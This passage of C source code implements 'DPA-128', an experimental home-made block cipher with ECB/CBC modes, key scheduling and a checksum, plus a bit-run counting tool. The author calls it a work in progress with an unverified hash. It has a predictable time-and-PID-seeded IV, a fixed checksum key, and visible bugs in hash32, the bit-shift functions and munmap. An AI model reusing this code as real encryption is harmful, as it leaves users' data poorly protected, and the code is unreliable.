*/
#include <sys/mman.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <sysexits.h>
int main(int argc, char *argv[])
{
int i;
int fd;
int cnt;
int last;
int biggest;
int size;
char *map;
struct stat sb;
unsigned int STATS[2][32];
if (argc < 2)
return (EX_USAGE);
/* Initialize the segments counters */
for (cnt = 0; cnt < 2; ++cnt)
for (i = 0; i < 32; ++i)
STATS[cnt][i] = 0;
/* Open and map the file in memory */
fd = open(argv[1], O_RDONLY);
if (fd < 0)
return (EX_SOFTWARE);
fstat(fd, &sb);
map = mmap(NULL, sb.st_size, PROT_READ, MAP_PRIVATE, fd, 0);
if (map == (void *)MAP_FAILED)
return (EX_SOFTWARE);
last = -1;
biggest = 0;
size = sb.st_size;
while (size--)
{
for (i = 7, cnt = 0; i >= 0; --i, ++cnt)
{
if ((*map >> i) & 0x1)
{
if (last == 0)
{
if (cnt > biggest)
biggest = cnt;
if (cnt >= 32)
errx(EX_SOFTWARE, "This cannot be an entropy source ;)");
STATS[last][cnt] += 1;
cnt = 0;
}
last = 1;
}
else
{
if (last == 1)
{
if (cnt > biggest)
biggest = cnt;
if (cnt >= 32)
errx(EX_SOFTWARE, "This cannot be an entropy source ;)");
STATS[last][cnt] += 1;
cnt = 0;
}
last = 0;
}
}
++map;
}
munmap(map, sb.st_size);
printf("0's segments:\n");
for (i = 1; i < biggest; i++)
printf("\t%d => %d\n", i, STATS[0][i]);
printf("\n1's segments:\n");
for (i = 1; i < biggest; i++)
printf("\t%d => %d\n", i, STATS[1][i]);
return (EX_OK);
}
8<- - - - 8< - - - - - 8< - - - - - 8< - - - - - 8< - - - - - 8< - - - - -
Again, the source code that follows is a work in progress, and some parts
deserve a cleaner rewrite. data.c is truly ugly ;)
It was tested on Linux & BSD/i386, SunOS/sparc and OSF1/alpha, if it does
not run on your unix box, porting it should be trivial.
8<- - - - 8< - - - - - 8< - - - - - 8< - - - - - 8< - - - - - 8< - - - - -
# Makefile
NAME = dpa
SRCS = main.c\
bitshift.c\
bytechain.c\
blockchain.c\
E.c\
D.c\
S_E.c\
S_D.c\
iv.c\
ecb.c\
cbc.c\
checksum128.c\
hash32.c\
key.c\
data.c\
sum.c\
usage.c
OBJS = $(SRCS:.c=.o)
CFLAGS =
LDFLAGS =
$(NAME) : $(OBJS)
cc -o $(NAME) $(OBJS) $(LDFLAGS)
clean :
rm -f *.o *~
fclean : clean
rm -f $(NAME)
re : fclean $(NAME)
8<- - - - 8< - - - - - 8< - - - - - 8< - - - - - 8< - - - - - 8< - - - - -
/* include/dpa.h */
#ifndef _DPA_H_
#define _DPA_H_
#define DPA_KEY_SIZE 16
#define DPA_BLOCK_SIZE 16
#define DPA_ENCRYPT 0
#define DPA_DECRYPT 1
#define DPA_MODE_ECB 0
#define DPA_MODE_CBC 1
struct s_dpa_sub_key {
unsigned char key[DPA_KEY_SIZE];
unsigned char shift;
};
typedef struct s_dpa_sub_key DPA_SUB_KEY;
struct s_dpa_key {
struct s_dpa_sub_key subkey[16];
};
typedef struct s_dpa_key DPA_KEY;
struct s_dpa_data {
unsigned char *data;
unsigned long length;
};
typedef struct s_dpa_data DPA_DATA;
void checksum128(unsigned char *, unsigned char *, unsigned int);
unsigned long hash32(unsigned char *, unsigned int);
unsigned char dpa_encrypt(unsigned int, unsigned int, unsigned int);
unsigned char dpa_decrypt(unsigned int, unsigned int, unsigned int);
void DPA_ecb_encrypt(DPA_KEY *, DPA_DATA *, DPA_DATA *);
void DPA_ecb_decrypt(DPA_KEY *, DPA_DATA *, DPA_DATA *);
void DPA_cbc_encrypt(DPA_KEY *, DPA_DATA *, DPA_DATA *);
void DPA_cbc_decrypt(DPA_KEY *, DPA_DATA *, DPA_DATA *);
void DPA_sum(DPA_KEY *, DPA_DATA *, DPA_DATA *);
void DPA_set_key(DPA_KEY *, unsigned char *, unsigned int);
void DPA_set_keyfile(DPA_KEY *, char *);
void DPA_set_data(DPA_DATA *, unsigned char *, unsigned int);
void DPA_set_datafile(DPA_DATA *, char *);
void DPA_set_ciphertext(DPA_DATA *, DPA_DATA *, int, int);
void DPA_write_to_file(DPA_DATA *, char *);
void DPA_sum_write_to_file(DPA_DATA *, char *);
void rbytechain(unsigned char *);
void lbytechain(unsigned char *);
void rbitshift(unsigned char *, unsigned int);
void lbitshift(unsigned char *, unsigned int);
void blockchain(unsigned char *, unsigned char *);
void IV(unsigned char *);
void E(unsigned char *, unsigned char *, unsigned int);
void D(unsigned char *, unsigned char *, unsigned int);
void S_E(unsigned char *, unsigned char *, unsigned int);
void S_D(unsigned char *, unsigned char *, unsigned int);
void usage(void);
#endif
8<- - - - 8< - - - - - 8< - - - - - 8< - - - - - 8< - - - - - 8< - - - - -
/* checksum128.c */
/* NEEDS_FIX */
/*
* This function creates a 128 bits (16 bytes) checksum out of a variable
* length input. It has NOT been verified so it is most likely broken and
* subject to collisions even though I was not able to find any myself.
*
* The following constraints need to be respected:
* - the function has to return a 128 bits value no matter what;
* - it should be difficult to determine the result by knowing the input;
* - it should be difficult to determine the input by knowing the result;
* - it should be difficult to find an input that will produce an identic
* result as a known input;
* - it should be difficult to find two inputs that will produce the same
* result;
* - it should be easy to compute the result of an input;
*
* If checksum128() happens to be broken, DPA-128 could be fixed by
* replacing it with any one-way hash function that produces a 128 bits
* output (MD5 comes to mind first ;).
*/
#define __NBROUNDS 32
void checksum128(unsigned char *key, unsigned char *skey, unsigned int size)
{
unsigned int cnt;
unsigned int length;
unsigned long a;
unsigned long b;
unsigned long c;
unsigned long d;
unsigned char *save;
/* Initialization of contexts */
a = 0xdeadbeef;
b = 0xadbeefde;
c = 0xbeefdead;
d = 0xefdeadbe;
for (cnt = 0; cnt < __NBROUNDS; ++cnt)
{
for (length = 0, save = key; length < size; ++save, ++length)
{
/* each context is first summed up with the cumplement of
* the current ascii character.
*/
a = (a + ~(*save));
b = (b + ~(*save));
c = (c + ~(*save));
d = (d + ~(*save));
/* Confusion */
/*
* Context A is summed with the product of:
* - cumplement of B, C and cumplement of D;
*
* Context B is summed with the product of:
* - cumplement of C, D and cumplement of A;
*
* Context C is summed with the product of:
* - cumplement of D, A and cumplement of B;
*
* Context D is summed with the product of:
* - cumplement of A, B and cumplement of C;
*
* Every context has a repercussion on all others
* including itself, and multiplication makes it
* hard to determine the previous values of each
* contexts after a few rounds.
*/
a += ~b * c * ~d;
b += ~c * d * ~a;
c += ~d * a * ~b;
d += ~a * b * ~c;
}
/* Diffusion */
/*
* The bytes of each contexts are shuffled within the
* same context, the first byte of A becomes the last
* which becomes the first. the second becomes the
* third which becomes the second. This permutation
* is also applied to B, C and D, just before they go
* through another round.
*/
a = (((a & 0x000000ff) << 24) +
((a & 0x0000ff00) << 8) +
((a & 0x00ff0000) >> 8) +
((a & 0xff000000) >> 24));
b = (((b & 0x000000ff) << 24) +
((b & 0x0000ff00) << 8) +
((b & 0x00ff0000) >> 8) +
((b & 0xff000000) >> 24));
c = (((c & 0x000000ff) << 24) +
((c & 0x0000ff00) << 8) +
((c & 0x00ff0000) >> 8) +
((c & 0xff000000) >> 24));
d = (((d & 0x000000ff) << 24) +
((d & 0x0000ff00) << 8) +
((d & 0x00ff0000) >> 8) +
((d & 0xff000000) >> 24));
}
/* Diffusion */
/*
* The Checksum is constructed by taking respectively
* the first byte of A, B, C and D, then the second,
* the third and the fourth.
*/
skey[0] = (a & 0xff000000) >> 24;
skey[1] = (b & 0xff000000) >> 24;
skey[2] = (c & 0xff000000) >> 24;
skey[3] = (d & 0xff000000) >> 24;
skey[4] = (a & 0x00ff0000) >> 16;
skey[5] = (b & 0x00ff0000) >> 16;
skey[6] = (c & 0x00ff0000) >> 16;
skey[7] = (d & 0x00ff0000) >> 16;
skey[8] = (a & 0x0000ff00) >> 8;
skey[9] = (b & 0x0000ff00) >> 8;
skey[10] = (c & 0x0000ff00) >> 8;
skey[11] = (d & 0x0000ff00) >> 8;
skey[12] = (a & 0x000000ff);
skey[13] = (b & 0x000000ff);
skey[14] = (c & 0x000000ff);
skey[15] = (d & 0x000000ff);
}
8<- - - - 8< - - - - - 8< - - - - - 8< - - - - - 8< - - - - - 8< - - - - -
/* hash32.c */
/*
* This function computes a 32 bits output out a variable length input. It is
* not important to have a nice distribution and low collisions as it is used
* on the output of checksum128() (see checksum128.c). There is a requirement
* though, the function should not consider \0 as a key terminator.
*/
unsigned long hash32(unsigned char *k, unsigned int length)
{
unsigned long h;
for (h = 0; *k && length; ++k, --length)
h = 13 * h + *k;
return (h);
}
8<- - - - 8< - - - - - 8< - - - - - 8< - - - - - 8< - - - - - 8< - - - - -
/* bytechain.c */
#include "include/dpa.h"
void rbytechain(unsigned char *block)
{
int i;
for (i = 0; i < DPA_BLOCK_SIZE; ++i)
block[i] ^= block[(i + 1) % DPA_BLOCK_SIZE];
return;
}
void lbytechain(unsigned char *block)
{
int i;
for (i = DPA_BLOCK_SIZE - 1; i >= 0; --i)
block[i] ^= block[(i + 1) % DPA_BLOCK_SIZE];
return;
}
8<- - - - 8< - - - - - 8< - - - - - 8< - - - - - 8< - - - - - 8< - - - - -
/* bitshift.c */
#include <string.h>
#include "include/dpa.h"
void rbitshift(unsigned char *block, unsigned int shift)
{
unsigned int i;
unsigned int div;
unsigned int mod;
unsigned int rel;
unsigned char mask;
unsigned char remainder;
unsigned char sblock[DPA_BLOCK_SIZE];
if (shift)
{
mask = 0;
shift %= 128;
div = shift / 8;
mod = shift % 8;
rel = DPA_BLOCK_SIZE - div;
for (i = 0; i < mod; ++i)
mask |= (1 << i);
for (i = 0; i < DPA_BLOCK_SIZE; ++i)
{
remainder =
((block[(rel + i - 1) % DPA_BLOCK_SIZE]) & mask) << (8 - mod);
sblock[i] = ((block[(rel + i) % DPA_BLOCK_SIZE]) >> mod) | remainder;
}
}
memcpy(block, sblock, DPA_BLOCK_SIZE);
}
void lbitshift(unsigned char *block, unsigned int shift)
{
int i;
unsigned int div;
unsigned int mod;
unsigned int rel;
unsigned char mask;
unsigned char remainder;
unsigned char sblock[DPA_BLOCK_SIZE];
if (shift)
{
mask = 0;
shift %= 128;
div = shift / 8;
mod = shift % 8;
rel = DPA_BLOCK_SIZE + div;
for (i = 0; i < (8 - mod); ++i)
mask |= (1 << i);
mask = ~mask;
for (i = 0; i < DPA_BLOCK_SIZE; ++i)
{
remainder =
(block[(rel + i + 1) % DPA_BLOCK_SIZE] & mask) >> (8 - mod);
sblock[i] =
((block[(rel + i) % DPA_BLOCK_SIZE]) << mod) | remainder;
}
}
memcpy(block, sblock, DPA_BLOCK_SIZE);
}
8<- - - - 8< - - - - - 8< - - - - - 8< - - - - - 8< - - - - - 8< - - - - -
/* S_E.c */
#include "include/dpa.h"
/*
* The substitution table looks like this:
*
* (s+0)%256 (s+1)%256 (s+2)%256 (s+3)%256 (s+4)%256 (s+5)%256 (s+6)%256 ...
* (s+1)%256 (s+2)%256 (s+3)%256 (s+4)%256 (s+5)%256 (s+6)%256 (s+7)%256 ...
* (s+2)%256 (s+3)%256 (s+4)%256 (s+5)%256 (s+6)%256 (s+7)%256 (s+8)%256 ...
* (s+3)%256 (s+4)%256 (s+5)%256 (s+6)%256 (s+7)%256 (s+8)%256 (s+9)%256 ...
* (s+4)%256 (s+5)%256 (s+6)%256 (s+7)%256 ...
* (s+5)%256 (s+6)%256 (s+7)%256 (s+8)%256 ...
* (s+6)%256 (s+7)%256 (s+8)%256 (s+9)%256 ...
* ...
*/
void S_E(unsigned char *key, unsigned char *block, unsigned int s)
{
int i;
for (i = 0; i < DPA_BLOCK_SIZE; ++i)
block[i] = (key[i] + block[i] + s) % 256;
return;
}
8<- - - - 8< - - - - - 8< - - - - - 8< - - - - - 8< - - - - - 8< - - - - -
/* S_D.c */
#include "include/dpa.h"
void S_D(unsigned char *key, unsigned char *block, unsigned int s)
{
int i;
for (i = 0; i < DPA_BLOCK_SIZE; ++i)
block[i] = ((256 + block[i]) - key[i] - s) % 256;
return;
}
8<- - - - 8< - - - - - 8< - - - - - 8< - - - - - 8< - - - - - 8< - - - - -
/* E.c */
#include "include/dpa.h"
/* This is the function that is iterated at each round to encrypt */
void E(unsigned char *key, unsigned char *block, unsigned int shift)
{
rbytechain(block);
rbitshift(block, shift);
S_E(key, block, shift);
}
8<- - - - 8< - - - - - 8< - - - - - 8< - - - - - 8< - - - - - 8< - - - - -
/* D.c */
#include "include/dpa.h"
/* This is the function used to decrypt */
void D(unsigned char *key, unsigned char *block, unsigned int shift)
{
S_D(key, block, shift);
lbitshift(block, shift);
lbytechain(block);
}
8<- - - - 8< - - - - - 8< - - - - - 8< - - - - - 8< - - - - - 8< - - - - -
/* blockchain.c */
#include "include/dpa.h"
/* Block chaining for BC modes */
void blockchain(unsigned char *dst, unsigned char *src)
{
int i;
for (i = 0; i < DPA_BLOCK_SIZE; ++i)
dst[i] = dst[i] ^ src[i];
return;
}
8<- - - - 8< - - - - - 8< - - - - - 8< - - - - - 8< - - - - - 8< - - - - -
/* iv.c */
#include <stdlib.h>
#include <time.h>
#include <unistd.h>
#include "include/dpa.h"
/* Initialization vector */
void IV(unsigned char *block)
{
int i;
srandom(time(NULL) % getpid());
for (i = 0; i < DPA_BLOCK_SIZE; ++i)
block[i] = random();
}
8<- - - - 8< - - - - - 8< - - - - - 8< - - - - - 8< - - - - - 8< - - - - -
/* key.c */
#include <sys/types.h>
#include <sys/mman.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <stdio.h>
#include <stdlib.h>
#include "include/dpa.h"
/* This is the function used to precompute the subkeys */
void DPA_set_key(DPA_KEY *k, unsigned char *key, unsigned int len)
{
/* Compute subkey #0 */
checksum128(key, k->subkey[0].key, len);
/* Compute subkey #1 -> #15: k.n = H(k.(n-1)%16), where 0 <= n <= 15 */
checksum128(k->subkey[0].key, k->subkey[1].key, DPA_KEY_SIZE);
checksum128(k->subkey[1].key, k->subkey[2].key, DPA_KEY_SIZE);
checksum128(k->subkey[2].key, k->subkey[3].key, DPA_KEY_SIZE);
checksum128(k->subkey[3].key, k->subkey[4].key, DPA_KEY_SIZE);
checksum128(k->subkey[4].key, k->subkey[5].key, DPA_KEY_SIZE);
checksum128(k->subkey[5].key, k->subkey[6].key, DPA_KEY_SIZE);
checksum128(k->subkey[6].key, k->subkey[7].key, DPA_KEY_SIZE);
checksum128(k->subkey[7].key, k->subkey[8].key, DPA_KEY_SIZE);
checksum128(k->subkey[8].key, k->subkey[9].key, DPA_KEY_SIZE);
checksum128(k->subkey[9].key, k->subkey[10].key, DPA_KEY_SIZE);
checksum128(k->subkey[10].key, k->subkey[11].key, DPA_KEY_SIZE);
checksum128(k->subkey[11].key, k->subkey[12].key, DPA_KEY_SIZE);
checksum128(k->subkey[12].key, k->subkey[13].key, DPA_KEY_SIZE);
checksum128(k->subkey[13].key, k->subkey[14].key, DPA_KEY_SIZE);
checksum128(k->subkey[14].key, k->subkey[15].key, DPA_KEY_SIZE);
/* Paranoia: overwrite subkey #0 to prevent a possible biais in H
* from revealing informations about the initial key.
*/
checksum128(k->subkey[15].key, k->subkey[0].key, DPA_KEY_SIZE);
/* Compute shifts. Shifts are inverted to break a possible relation
* between shiftings and subkeys. The last subkey is used to compute
* the first shift, and so on...
*/
k->subkey[0].shift = hash32(k->subkey[15].key, DPA_KEY_SIZE);
k->subkey[1].shift = hash32(k->subkey[14].key, DPA_KEY_SIZE);
k->subkey[2].shift = hash32(k->subkey[13].key, DPA_KEY_SIZE);
k->subkey[3].shift = hash32(k->subkey[12].key, DPA_KEY_SIZE);
k->subkey[4].shift = hash32(k->subkey[11].key, DPA_KEY_SIZE);
k->subkey[5].shift = hash32(k->subkey[10].key, DPA_KEY_SIZE);
k->subkey[6].shift = hash32(k->subkey[9].key, DPA_KEY_SIZE);
k->subkey[7].shift = hash32(k->subkey[8].key, DPA_KEY_SIZE);
k->subkey[8].shift = hash32(k->subkey[7].key, DPA_KEY_SIZE);
k->subkey[9].shift = hash32(k->subkey[6].key, DPA_KEY_SIZE);
k->subkey[10].shift = hash32(k->subkey[5].key, DPA_KEY_SIZE);
k->subkey[11].shift = hash32(k->subkey[4].key, DPA_KEY_SIZE);
k->subkey[12].shift = hash32(k->subkey[3].key, DPA_KEY_SIZE);
k->subkey[13].shift = hash32(k->subkey[2].key, DPA_KEY_SIZE);
k->subkey[14].shift = hash32(k->subkey[1].key, DPA_KEY_SIZE);
k->subkey[15].shift = hash32(k->subkey[0].key, DPA_KEY_SIZE);
}
/* And this one for using a file as a secret key */
void DPA_set_keyfile(DPA_KEY *k, char *filename)
{
int fd;
void *key;
struct stat sb;
fd = open(filename, O_RDONLY);
if (fd < 0)
{
fprintf(stderr, "failed to open %s as a secret key.\n", filename);
exit(1);
}
fstat(fd, &sb);
key =
(unsigned char *)mmap(NULL, sb.st_size, PROT_READ, MAP_PRIVATE, fd, 0);
if (key == (void *)MAP_FAILED)
{
fprintf(stderr, "mmap() call failure.\n");
exit(1);
}
DPA_set_key(k, key, sb.st_size);
}
8<- - - - 8< - - - - - 8< - - - - - 8< - - - - - 8< - - - - - 8< - - - - -
/* data.c */
/*
* Warning: ugliest file ;)
*/
#include <sys/types.h>
#include <sys/mman.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include "include/dpa.h"
void DPA_set_data(DPA_DATA *d, unsigned char *data, unsigned int len)
{
d->data = data;
d->length = len;
}
void DPA_set_datafile(DPA_DATA *d, char *filename)
{
int fd;
struct stat sb;
fd = open(filename, O_RDONLY);
if (fd < 0)
{
fprintf(stderr, "failed to open data file %s.\n", filename);
exit(1);
}
fstat(fd, &sb);
d->data =
(unsigned char *)mmap(NULL, sb.st_size, PROT_READ, MAP_PRIVATE, fd, 0);
if (d->data == (void *)MAP_FAILED)
{
fprintf(stderr, "mmap() call failure.\n");
exit(1);
}
d->length = sb.st_size;
}
/* Allocate enough memory to hold the result of encryption/decryption */
void DPA_set_ciphertext(DPA_DATA *d, DPA_DATA *c, int mode, int action)
{
int sz;
sz = 0;
if (action == DPA_ENCRYPT)
{
if (mode == DPA_MODE_ECB)
{
if ((d->length % DPA_BLOCK_SIZE) == 0)
sz = d->length + DPA_BLOCK_SIZE;
else
sz = d->length + (DPA_BLOCK_SIZE - (d->length % DPA_BLOCK_SIZE)) +
DPA_BLOCK_SIZE;
}
else if (mode == DPA_MODE_CBC)
{
if ((d->length % DPA_BLOCK_SIZE) == 0)
sz = d->length + (DPA_BLOCK_SIZE * 2);
else
sz = d->length + (DPA_BLOCK_SIZE - (d->length % DPA_BLOCK_SIZE)) +
(DPA_BLOCK_SIZE * 2);
}
}
else if (action == DPA_DECRYPT)
{
if (mode == DPA_MODE_ECB)
sz = d->length - DPA_BLOCK_SIZE;
else if (mode == DPA_MODE_CBC)
sz = d->length - (DPA_BLOCK_SIZE * 2);
}
c->data =
(unsigned char *)mmap(NULL, sz,
PROT_READ|PROT_WRITE, MAP_ANON|MAP_PRIVATE, -1, 0);
if (c->data == (void *)MAP_FAILED)
{
fprintf(stderr, "mmap() call failure.\n");
exit(1);
}
c->length = sz;
}
/* Write the result of encryption/decryption to filename */
void DPA_write_to_file(DPA_DATA *data, char *filename)
{
int fd;
int cnt;
int wasfile;
wasfile = 0;
if (!strcmp(filename, "-"))
fd = 1;
else
{
fd = open(filename, O_RDWR|O_CREAT|O_TRUNC, 0600);
if (fd < 0)
{
fprintf(stderr, "failed to open result file %s.\n", filename);
exit(1);
}
wasfile = 1;
}
for (cnt = 0; cnt < data->length;)
if ((data->length - cnt) < DPA_BLOCK_SIZE)
cnt += write(fd, data->data + cnt, data->length - cnt);
else
cnt += write(fd, data->data + cnt, DPA_BLOCK_SIZE);
if (wasfile)
close(fd);
}
/* Write the result of checksum to filename in base 16 */
void DPA_sum_write_to_file(DPA_DATA *data, char *filename)
{
int fd;
int cnt;
int cnt2;
int wasfile;
unsigned char base[] = "0123456789abcdef";
unsigned char buffer[DPA_BLOCK_SIZE * 2 + 2];
wasfile = 0;
if (!strcmp(filename, "-"))
fd = 1;
else
{
fd = open(filename, O_RDWR|O_CREAT|O_TRUNC, 0600);
if (fd < 0)
{
fprintf(stderr, "failed to open result file %s.\n", filename);
exit(1);
}
wasfile = 1;
}
for (cnt = cnt2 = 0; cnt < DPA_BLOCK_SIZE; ++cnt, (cnt2 += 2))
{
buffer[cnt2] =
base[*(data->data + data->length - DPA_BLOCK_SIZE + cnt) / 16];
buffer[cnt2 + 1] =
base[*(data->data + data->length - DPA_BLOCK_SIZE + cnt) % 16];
}
buffer[DPA_BLOCK_SIZE * 2] = '\n';
buffer[DPA_BLOCK_SIZE * 2 + 1] = '\0';
write(fd, buffer, DPA_BLOCK_SIZE * 2 + 2);
if (wasfile)
close(fd);
}
8<- - - - 8< - - - - - 8< - - - - - 8< - - - - - 8< - - - - - 8< - - - - -
/* ecb.c */
/*
* Encryption/Decryption in ECB mode.
*/
#include <stdio.h>
#include <string.h>
#include <unistd.h>
#include "include/dpa.h"
/* XXX - for better performances, unroll the loops ;) */
void DPA_ecb_encrypt(DPA_KEY *key, DPA_DATA *data, DPA_DATA *cipher)
{
int j;
int cnt;
unsigned char *cptr;
unsigned char block[DPA_BLOCK_SIZE];
cnt = data->length;
cptr = cipher->data;
memset(block, 0, 16);
for (; cnt > 0; data->data += DPA_BLOCK_SIZE, cptr += DPA_BLOCK_SIZE)
{
if (cnt < DPA_BLOCK_SIZE)
{
memcpy(block, data->data, cnt);
memset(block + cnt, 0, DPA_BLOCK_SIZE - cnt);
}
else
memcpy(block, data->data, DPA_BLOCK_SIZE);
for (j = 0; j < 16; ++j)
E(key->subkey[j].key, block, key->subkey[j].shift);
memcpy(cptr, block, DPA_BLOCK_SIZE);
cnt -= DPA_BLOCK_SIZE;
}
/* Padding block */
memset(block, 0, DPA_BLOCK_SIZE);
if (data->length % DPA_BLOCK_SIZE)
block[DPA_BLOCK_SIZE - 1] = DPA_BLOCK_SIZE - data->length % DPA_BLOCK_SIZE;
for (j = 0; j < 16; ++j)
E(key->subkey[j].key, block, key->subkey[j].shift);
memcpy(cptr, block, DPA_BLOCK_SIZE);
}
void DPA_ecb_decrypt(DPA_KEY *key, DPA_DATA *data, DPA_DATA *cipher)
{
int j;
int cnt;
unsigned char padding;
unsigned char *cptr;
unsigned char block[DPA_BLOCK_SIZE];
/* Data is padded so... we got at least 2 * DPA_BLOCK_SIZE bytes and
* data->length / DPA_BLOCK_SIZE should be even
*/
if ((data->length % DPA_BLOCK_SIZE) || data->length < (2 * DPA_BLOCK_SIZE))
exit(1);
/* Extract padding information */
memcpy(block, data->data + data->length - DPA_BLOCK_SIZE, DPA_BLOCK_SIZE);
for (j = 15; j >= 0; --j)
D(key->subkey[j].key, block, key->subkey[j].shift);
padding = block[DPA_BLOCK_SIZE - 1];
cipher->length -= padding;
cptr = cipher->data;
cnt = data->length - DPA_BLOCK_SIZE;
memset(block, 0, DPA_BLOCK_SIZE);
for (;
cnt > 0;
cnt -= DPA_BLOCK_SIZE, data->data += DPA_BLOCK_SIZE,
cptr += DPA_BLOCK_SIZE)
{
memcpy(block, data->data, DPA_BLOCK_SIZE);
for (j = 15; j >= 0; --j)
D(key->subkey[j].key, block, key->subkey[j].shift);
if (cnt >= DPA_BLOCK_SIZE)
memcpy(cptr, block, DPA_BLOCK_SIZE);
else
memcpy(cptr, block, DPA_BLOCK_SIZE - (padding % DPA_BLOCK_SIZE));
}
}
8<- - - - 8< - - - - - 8< - - - - - 8< - - - - - 8< - - - - - 8< - - - - -
/* cbc.c */
/*
* Encryption/Decryption in CBC mode.
*/
#include <stdio.h>
#include <string.h>
#include <unistd.h>
#include "include/dpa.h"
/* XXX - for better performances, unroll the loops ;) */
void DPA_cbc_encrypt(DPA_KEY *key, DPA_DATA *data, DPA_DATA *cipher)
{
int j;
int cnt;
unsigned char *cptr;
unsigned char block[DPA_BLOCK_SIZE];
unsigned char iv[DPA_BLOCK_SIZE];
unsigned char xblock[DPA_BLOCK_SIZE];
/* IV */
cptr = cipher->data;
IV(iv);
memcpy(xblock, iv, DPA_BLOCK_SIZE);
for (j = 0; j < 16; ++j)
E(key->subkey[j].key, iv, key->subkey[j].shift);
memcpy(cptr, iv, DPA_BLOCK_SIZE);
cptr += DPA_BLOCK_SIZE;
cnt = data->length;
memset(block, 0, 16);
for (; cnt > 0; data->data += DPA_BLOCK_SIZE, cptr += DPA_BLOCK_SIZE)
{
if (cnt < DPA_BLOCK_SIZE)
{
memcpy(block, data->data, cnt);
memset(block + cnt, 0, DPA_BLOCK_SIZE - cnt);
}
else
memcpy(block, data->data, DPA_BLOCK_SIZE);
blockchain(block, xblock);
for (j = 0; j < 16; ++j)
E(key->subkey[j].key, block, key->subkey[j].shift);
memcpy(xblock, block, DPA_BLOCK_SIZE);
memcpy(cptr, block, DPA_BLOCK_SIZE);
cnt -= DPA_BLOCK_SIZE;
}
/* Padding */
memset(block, 0, DPA_BLOCK_SIZE);
if (data->length % DPA_BLOCK_SIZE)
block[DPA_BLOCK_SIZE - 1] = DPA_BLOCK_SIZE - data->length % DPA_BLOCK_SIZE;
blockchain(block, xblock);
for (j = 0; j < 16; ++j)
E(key->subkey[j].key, block, key->subkey[j].shift);
memcpy(cptr, block, DPA_BLOCK_SIZE);
}
void DPA_cbc_decrypt(DPA_KEY *key, DPA_DATA *data, DPA_DATA *cipher)
{
int j;
int cnt;
unsigned char padding;
unsigned char *cptr;
unsigned char block[DPA_BLOCK_SIZE];
unsigned char xblock[DPA_BLOCK_SIZE];
unsigned char xblockprev[DPA_BLOCK_SIZE];
unsigned char *xorptr;
/*
* CBC mode uses padding, data->length / DPA_BLOCK_SIZE _MUST_ be even.
* Also, we got a block for the IV, at least a block for the data and
* a block for the padding information, this makes the size of cryptogram
* at least 3 * DPA_BLOCK_SIZE.
*/
if ((data->length % DPA_BLOCK_SIZE) || data->length < (3 * DPA_BLOCK_SIZE))
exit(1);
/* Extract padding information by undoing block chaining on last block */
memcpy(block, data->data + data->length - DPA_BLOCK_SIZE, DPA_BLOCK_SIZE);
for (j = 15; j >= 0; --j)
D(key->subkey[j].key, block, key->subkey[j].shift);
xorptr = data->data + data->length - (DPA_BLOCK_SIZE * 2);
blockchain(block, xorptr);
padding = block[DPA_BLOCK_SIZE - 1];
cipher->length -= padding;
/* Extract Initialization vector */
memcpy(xblock, data->data, DPA_BLOCK_SIZE);
for (j = 15; j >= 0; --j)
D(key->subkey[j].key, xblock, key->subkey[j].shift);
cptr = cipher->data;
cnt = data->length - (DPA_BLOCK_SIZE * 2);
memset(block, 0, DPA_BLOCK_SIZE);
for (data->data += DPA_BLOCK_SIZE;
cnt >= DPA_BLOCK_SIZE;
cnt -= DPA_BLOCK_SIZE, data->data += DPA_BLOCK_SIZE,
cptr += DPA_BLOCK_SIZE)
{
memcpy(block, data->data, DPA_BLOCK_SIZE);
memcpy(xblockprev, block, DPA_BLOCK_SIZE);
for (j = 15; j >= 0; --j)
D(key->subkey[j].key, block, key->subkey[j].shift);
blockchain(block, xblock);
if (cnt >= DPA_BLOCK_SIZE)
memcpy(cptr, block, DPA_BLOCK_SIZE);
else
memcpy(cptr, block, DPA_BLOCK_SIZE - (padding % DPA_BLOCK_SIZE));
memcpy(xblock, xblockprev, DPA_BLOCK_SIZE);
}
}
8<- - - - 8< - - - - - 8< - - - - - 8< - - - - - 8< - - - - - 8< - - - - -
/* sum.c */
/* NEEDS_FIX */
/*
* This is basically a CBC encryption with a fixed IV and fixed key, the
* last block being the checksum. This needs a rewrite because there is
* no need to allocate memory for the whole ciphertext as only two blocks
* are needed.
*/
#include <stdio.h>
#include <string.h>
#include <unistd.h>
#include "include/dpa.h"
/* XXX - for better performances, unroll the loops ;) */
void DPA_sum(DPA_KEY *key, DPA_DATA *data, DPA_DATA *cipher)
{
int j;
int cnt;
unsigned char *cptr;
unsigned char block[DPA_BLOCK_SIZE];
unsigned char iv[DPA_BLOCK_SIZE];
unsigned char xblock[DPA_BLOCK_SIZE];
/* Fixed key */
DPA_set_key(key, (unsigned char *)"deadbeef", 8);
/* Fixed IV */
memcpy(iv, "0123456789abcdef", DPA_BLOCK_SIZE);
memcpy(xblock, iv, DPA_BLOCK_SIZE);
cptr = cipher->data;
memcpy(xblock, iv, DPA_BLOCK_SIZE);
for (j = 0; j < 16; ++j)
E(key->subkey[j].key, iv, key->subkey[j].shift);
memcpy(cptr, iv, DPA_BLOCK_SIZE);
cptr += DPA_BLOCK_SIZE;
cnt = data->length;
memset(block, 0, 16);
for (; cnt > 0; data->data += DPA_BLOCK_SIZE, cptr += DPA_BLOCK_SIZE)
{
if (cnt < DPA_BLOCK_SIZE)
{
memcpy(block, data->data, cnt);
memset(block + cnt, 0, DPA_BLOCK_SIZE - cnt);
}
else
memcpy(block, data->data, DPA_BLOCK_SIZE);
blockchain(block, xblock);
for (j = 0; j < 16; ++j)
E(key->subkey[j].key, block, key->subkey[j].shift);
memcpy(xblock, block, DPA_BLOCK_SIZE);
memcpy(cptr, block, DPA_BLOCK_SIZE);
cnt -= DPA_BLOCK_SIZE;
}
memset(block, 0, DPA_BLOCK_SIZE);
if (data->length % DPA_BLOCK_SIZE)
block[DPA_BLOCK_SIZE - 1] = DPA_BLOCK_SIZE - data->length % DPA_BLOCK_SIZE;
blockchain(block, xblock);
for (j = 0; j < 16; ++j)
E(key->subkey[j].key, block, key->subkey[j].shift);
memcpy(cptr, block, DPA_BLOCK_SIZE);
}
8<- - - - 8< - - - - - 8< - - - - - 8< - - - - - 8< - - - - - 8< - - - - -
/* usage.c */
#include <stdio.h>
#include <stdlib.h>
#include <sysexits.h>
#include <unistd.h>
void usage(void)
{
fprintf(stderr, "usage: dpa -a action -m mode -k key -d data -o outfile\n");
